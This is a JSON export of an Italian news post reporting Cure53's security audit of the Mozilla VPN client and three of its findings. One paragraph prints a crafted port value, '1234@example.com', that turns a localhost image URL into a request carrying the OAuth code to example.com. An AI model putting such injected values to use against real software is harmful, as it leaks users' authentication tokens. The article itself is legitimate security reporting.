{"id":101183,"date":"2021-09-03T10:22:53","date_gmt":"2021-09-03T08:22:53","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla"},"modified":"2021-09-03T10:22:53","modified_gmt":"2021-09-03T08:22:53","slug":"opublikovany-rezultaty-audita-vpn-klienta-mozilla","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","title":{"rendered":"Pubblicati i risultati dell'audit del client VPN di Mozilla","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Mozilla ha annunciato il completamento di un audit indipendente del software client per la connessione al servizio Mozilla VPN. Durante l'audit, \u00e8 stata eseguita un'analisi dell'applicazione client isolata, sviluppata utilizzando la libreria Qt e fornita per Linux, macOS, Windows, Android e iOS. Mozilla VPN \u00e8 supportato da oltre 400 server del fornitore svedese di VPN Mullvad, situati in oltre 30 paesi. La connessione al <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/it\/vpn\/\"   title=\"VPN\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"113\">VPN<\/a>-servizio avviene tramite il protocollo WireGuard.    <\/p>\n<p>L'audit \u00e8 stato eseguito dall'azienda Cure53, che in passato ha condotto audit per progetti come NTPsec, SecureDrop, Cryptocat, F-Droid e Dovecot. L'audit ha riguardato la verifica dei codici sorgente e ha incluso test per identificare potenziali vulnerabilit\u00e0 (le questioni legate alla crittografia non sono state considerate). Durante la verifica sono stati identificati 16 problemi di sicurezza, di cui 8 hanno avuto carattere di raccomandazione, 5 sono stati classificati come a basso rischio, 2 come a rischio medio e 1 come ad alto rischio.     <\/p>\n<p>Tuttavia, solo un problema con un livello di rischio medio \u00e8 stato classificato come vulnerabilit\u00e0, poich\u00e9 solo esso era sfruttabile. Questo problema portava a una perdita di informazioni sull'uso del VPN nel codice per l'identificazione del captive portal, a causa dell'invio di richieste dirette non crittografate via HTTP, trasmesse al di fuori del tunnel VPN e rivelando l'indirizzo IP principale dell'utente nel caso in cui un attaccante possa controllare il traffico di transito. Il problema si risolve disattivando la modalit\u00e0 di rilevamento del captive portal nelle impostazioni.    <\/p>\n<p>Il secondo problema di livello di pericolo medio &egrave; legato all&#039;assenza di una corretta pulizia dei valori non numerici nel numero di porta, il che consente di organizzare una fuga dei parametri di autenticazione OAuth tramite la sostituzione del numero di porta con una stringa del tipo &laquo;1234@example.com&raquo;, che porter&agrave; all&#039;installazione di un tag &lt;img src=&quot;&raquo;http:\/\/127.0.0.1:1234@example.com\/?code=&hellip;&raquo;&quot; alt=&quot;&raquo;&raquo;&quot;&gt;, che si riferisce a example.com anzich&eacute; a 127.0.0.1.    <\/p>\n<p>Il terzo problema, contrassegnato come pericoloso, consente a qualsiasi applicazione locale di accedere al client VPN tramite WebSocket legato a localhost, senza autenticazione. Come esempio, \u00e8 mostrato come, con il client VPN attivo, qualsiasi sito potesse organizzare la creazione e l'invio di uno screenshot attraverso la generazione dell'evento screen_capture. Questo problema non \u00e8 stato classificato come vulnerabilit\u00e0, poich\u00e9 il WebSocket era utilizzato solo nelle build di test interne e l'uso di questo canale di comunicazione era previsto per un futuro coinvolgimento con un'estensione del browser.<br \/>\n<br \/>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=55730\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u044b\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Qt \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f Linux, macOS, Windows, Android \u0438 iOS. \u0420\u0430\u0431\u043e\u0442\u0443 Mozilla VPN \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0448\u0432\u0435\u0434\u0441\u043a\u043e\u0433\u043e VPN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Mullvad, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 30 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101183","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla 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